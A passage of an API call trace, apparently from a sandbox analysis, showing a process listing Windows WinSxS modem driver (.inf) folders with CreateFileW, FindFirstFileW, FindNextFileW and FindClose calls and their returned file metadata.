	[0108.472] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x327f82ab, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x327f82ab, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3275fd37, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x4c14, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmdgitn.inf", cAlternateFileName="")) returned 1
	[0108.472] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.472] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.472] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmdp2.inf_31bf3856ad364e35_6.1.7600.16385_none_ab1fe39a35e45f56" (normalized: "c:\\windows\\winsxs\\amd64_mdmdp2.inf_31bf3856ad364e35_6.1.7600.16385_none_ab1fe39a35e45f56"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.472] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmdp2.inf_31bf3856ad364e35_6.1.7600.16385_none_ab1fe39a35e45f56\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.472] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.472] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39361af5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x39361af5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x392a3424, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x48be, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmdp2.inf", cAlternateFileName="")) returned 1
	[0108.472] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.472] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.477] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmdsi.inf_31bf3856ad364e35_6.1.7600.16385_none_31d603eabdc39192" (normalized: "c:\\windows\\winsxs\\amd64_mdmdsi.inf_31bf3856ad364e35_6.1.7600.16385_none_31d603eabdc39192"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.478] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmdsi.inf_31bf3856ad364e35_6.1.7600.16385_none_31d603eabdc39192\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.478] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.478] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c988b31, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3c988b31, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c8ca460, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x40f22, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmdsi.inf", cAlternateFileName="")) returned 1
	[0108.478] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.478] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.478] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmdyna.inf_31bf3856ad364e35_6.1.7600.16385_none_3fc3cdc566be92b0" (normalized: "c:\\windows\\winsxs\\amd64_mdmdyna.inf_31bf3856ad364e35_6.1.7600.16385_none_3fc3cdc566be92b0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.478] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmdyna.inf_31bf3856ad364e35_6.1.7600.16385_none_3fc3cdc566be92b0\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.478] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.479] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d4aab8, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x41d4aab8, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x41c6628a, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x15354, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmdyna.inf", cAlternateFileName="")) returned 1
	[0108.479] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.479] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.479] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmeiger.inf_31bf3856ad364e35_6.1.7600.16385_none_7f0b94a29fdc42f0" (normalized: "c:\\windows\\winsxs\\amd64_mdmeiger.inf_31bf3856ad364e35_6.1.7600.16385_none_7f0b94a29fdc42f0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.479] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmeiger.inf_31bf3856ad364e35_6.1.7600.16385_none_7f0b94a29fdc42f0\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.479] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.479] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43838179, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x43838179, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x43622e63, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x8b30, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmeiger.inf", cAlternateFileName="")) returned 1
	[0108.479] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.479] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.480] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmelsa.inf_31bf3856ad364e35_6.1.7600.16385_none_59fc54741904bc43" (normalized: "c:\\windows\\winsxs\\amd64_mdmelsa.inf_31bf3856ad364e35_6.1.7600.16385_none_59fc54741904bc43"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.480] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmelsa.inf_31bf3856ad364e35_6.1.7600.16385_none_59fc54741904bc43\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.480] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.480] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3443c5b1, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3443c5b1, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3430bac9, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x253e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmelsa.inf", cAlternateFileName="")) returned 1
	[0108.480] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.480] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.480] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmeric.inf_31bf3856ad364e35_6.1.7600.16385_none_4c0e5acbb09d2ea1" (normalized: "c:\\windows\\winsxs\\amd64_mdmeric.inf_31bf3856ad364e35_6.1.7600.16385_none_4c0e5acbb09d2ea1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.481] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmeric.inf_31bf3856ad364e35_6.1.7600.16385_none_4c0e5acbb09d2ea1\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.481] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.481] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce4b6d1, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3ce4b6d1, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3cd66ea3, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x4df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmeric.inf", cAlternateFileName="")) returned 1
	[0108.481] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.481] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.481] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmeric2.inf_31bf3856ad364e35_6.1.7600.16385_none_b9ce6cb341a5637b" (normalized: "c:\\windows\\winsxs\\amd64_mdmeric2.inf_31bf3856ad364e35_6.1.7600.16385_none_b9ce6cb341a5637b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.481] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmeric2.inf_31bf3856ad364e35_6.1.7600.16385_none_b9ce6cb341a5637b\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.481] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.481] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356d501a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x356d501a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x355f07ec, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x7948, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmeric2.inf", cAlternateFileName="")) returned 1
	[0108.481] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.481] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.482] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmetech.inf_31bf3856ad364e35_6.1.7600.16385_none_9c62e005b58d9ebb" (normalized: "c:\\windows\\winsxs\\amd64_mdmetech.inf_31bf3856ad364e35_6.1.7600.16385_none_9c62e005b58d9ebb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.482] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmetech.inf_31bf3856ad364e35_6.1.7600.16385_none_9c62e005b58d9ebb\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.482] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.482] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f9450, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3e2f9450, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3e287039, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x1409c, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmetech.inf", cAlternateFileName="")) returned 1
	[0108.482] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.482] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.483] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmfj2.inf_31bf3856ad364e35_6.1.7600.16385_none_b5c7033b92bd022e" (normalized: "c:\\windows\\winsxs\\amd64_mdmfj2.inf_31bf3856ad364e35_6.1.7600.16385_none_b5c7033b92bd022e"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.483] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmfj2.inf_31bf3856ad364e35_6.1.7600.16385_none_b5c7033b92bd022e\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.483] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.483] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x367cab84, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x367cab84, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x366e6356, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x566c, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmfj2.inf", cAlternateFileName="")) returned 1
	[0108.483] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.483] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
